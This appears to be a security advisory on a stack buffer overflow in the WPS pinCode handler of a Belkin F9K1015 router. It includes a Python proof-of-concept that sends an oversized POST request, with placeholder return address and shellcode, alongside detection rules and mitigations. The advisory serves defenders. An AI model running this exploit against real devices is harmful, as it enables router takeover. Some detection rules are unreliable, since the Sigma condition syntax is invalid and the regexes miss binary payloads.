CVE-2025-11302

Executive Summary

CVE-2025-11302 is a critical buffer overflow vulnerability in the Belkin F9K1015 router (firmware version 1.00.10). The flaw resides in the /goform/formWpsStart endpoint, where the pinCode argument is not properly sanitized, allowing an attacker to trigger a stack-based buffer overflow. This can lead to remote code execution (RCE) or denial of service (DoS). The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. No patch is currently available.

This vulnerability is particularly dangerous because it can be exploited remotely without authentication, making it a prime target for botnets and targeted attacks. The device is a consumer-grade router, often deployed in home and small office environments with limited security monitoring.

Supply Chain & Package Security

This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). It is a firmware-level flaw in a proprietary embedded system. The risk is entirely within the hardware supply chain of the Belkin device itself.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the public exploit and technical details, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full device compromise possible.
• Integrity (I): High (H) – Attacker can modify firmware or settings.
• Availability (A): High (H) – DoS is trivial.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, public exploit code, and no vendor patch makes this a high-priority threat for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Belkin F9K1015 web management interface. The /goform/formWpsStart CGI endpoint is used to initiate Wi-Fi Protected Setup (WPS). It accepts a pinCode parameter.

Root Cause: The firmware does not validate the length of the pinCode input before copying it into a fixed-size stack buffer. By sending an overly long string (e.g., 500+ bytes), the attacker overwrites the return address and other critical stack data.

Exploitation Flow:

1. The attacker sends a crafted HTTP POST request to http://<router_ip>/goform/formWpsStart with a malicious pinCode value.
2. The router's web server parses the request and passes the pinCode to the vulnerable function.
3. The function uses strcpy() or a similar unsafe function to copy the input into a stack buffer (e.g., 64 bytes).
4. The oversized input overwrites the saved return address on the stack.
5. When the function returns, execution jumps to an address controlled by the attacker.
6. The attacker can then execute arbitrary shellcode, gaining full control of the router.

Impact: Full device compromise. The attacker can:

• Modify DNS settings for traffic interception.
• Install persistent malware (e.g., for DDoS botnets).
• Exfiltrate network traffic.
• Use the router as a pivot point for further attacks on the internal network.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The following is a representative example of the vulnerable pattern:

Vulnerable Code (C-like pseudocode):

void handleWpsStart(char *pinCode) {
    char buffer[64];
    // No bounds checking!
    strcpy(buffer, pinCode);
    // ... process WPS start ...
}

Patched Code (Hypothetical):

void handleWpsStart(char *pinCode) {
    char buffer[64];
    // Safe copy with length check
    strncpy(buffer, pinCode, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process WPS start ...
}

The fix would involve replacing strcpy with strncpy or using a safer function like snprintf. Additionally, input validation should reject overly long pinCode values at the web server level.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Hardware: Belkin F9K1015 router with firmware 1.00.10.
2. Network: Connect the router to a isolated lab network. Assign it a static IP (e.g., 192.168.2.1).
3. Attacker Machine: Kali Linux with Python3 and Metasploit.

Exploit (Python3):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Craft malicious payload
    # Offset to return address (needs to be determined via fuzzing)
    offset = 64  # Example offset
    junk = b"A" * offset
    # Example return address (little-endian) - replace with actual gadget
    ret_addr = b"\x00\x00\x00\x00"  # Placeholder
    # Shellcode (e.g., reverse shell) - replace with actual shellcode
    shellcode = b"\x90" * 100  # NOP sled placeholder

    payload = b"pinCode=" + junk + ret_addr + shellcode

    # Send HTTP POST request
    request = (
        f"POST /goform/formWpsStart HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"\r\n"
    ).encode() + payload

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(request)
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

1. Run the exploit: python3 exploit.py 192.168.2.1
2. If successful, the router may crash (DoS) or execute the shellcode.

Note: This is a proof-of-concept. A full exploit requires determining the exact offset and a valid ROP chain/gadget for the MIPS architecture (common in these routers).

Blue Team (Defensive)

Detection:

• Monitor for HTTP POST requests to /goform/formWpsStart with abnormally long pinCode parameters.
• Look for repeated connection attempts to the router's web interface from external IPs.
• Use network intrusion detection systems (NIDS) to flag oversized POST bodies.

Mitigation:

• Immediate: Disable remote administration on the router. If possible, disable WPS entirely.
• Network Segmentation: Place the router behind a firewall that blocks inbound traffic to port 80/443 from the WAN.
• Firmware Update: Check Belkin's website periodically for a patch. If none is released, consider replacing the device.
• Monitoring: Enable logging on the router (if available) and forward logs to a SIEM.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/formWpsStart with pinCode > 100 characters.
• Source IPs scanning for Belkin routers (Shodan dorks: Belkin F9K1015).
• Outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 31337).

File IOCs:

• Modified firmware files (if attacker gains persistence).
• Presence of unknown binaries in /tmp or /var on the router (if accessible via debug interface).

Behavioral IOCs:

• Router becomes unresponsive or reboots unexpectedly (DoS).
• DNS settings changed without user intervention.
• Unusual traffic patterns from the router (e.g., participating in DDoS).

Detection Engineering

YARA Rule

rule CVE_2025_11302_Belkin_BufferOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11302 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11302"
    strings:
        $http_post = "POST /goform/formWpsStart"
        $pin_param = "pinCode="
        $long_pin = /pinCode=[A-Za-z0-9]{100,}/
    condition:
        $http_post and $pin_param and $long_pin
}

Sigma Rule

title: CVE-2025-11302 Belkin F9K1015 Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/formWpsStart with an overly long pinCode parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formWpsStart'
        cs-uri-query|contains: 'pinCode='
    condition: selection and len(cs-uri-query) > 200
falsepositives:
    - Legitimate long WPS PINs (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-11302 Belkin F9K1015 Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formWpsStart"; http_uri; content:"pinCode="; http_client_body; pcre:"/pinCode=[A-Za-z0-9]{100,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WPS: Log into the router's admin interface and disable Wi-Fi Protected Setup.
2. Disable Remote Management: Ensure the router's web interface is not accessible from the WAN.
3. Firewall Rule: Block inbound traffic to ports 80 and 443 on the router from external networks.

Long-Term Actions:

1. Vendor Contact: Continue to pressure Belkin for a firmware patch. If none is forthcoming, consider the device end-of-life.
2. Replace Device: Migrate to a router from a vendor with a better security track record and active firmware support.
3. Network Monitoring: Deploy a network intrusion detection system (e.g., Suricata) to monitor for exploit attempts.
4. User Education: Inform users of the risk and advise them to avoid using WPS.

Patch Status: UNKNOWN / UNPATCHED. No official fix is available at this time.

Valters IT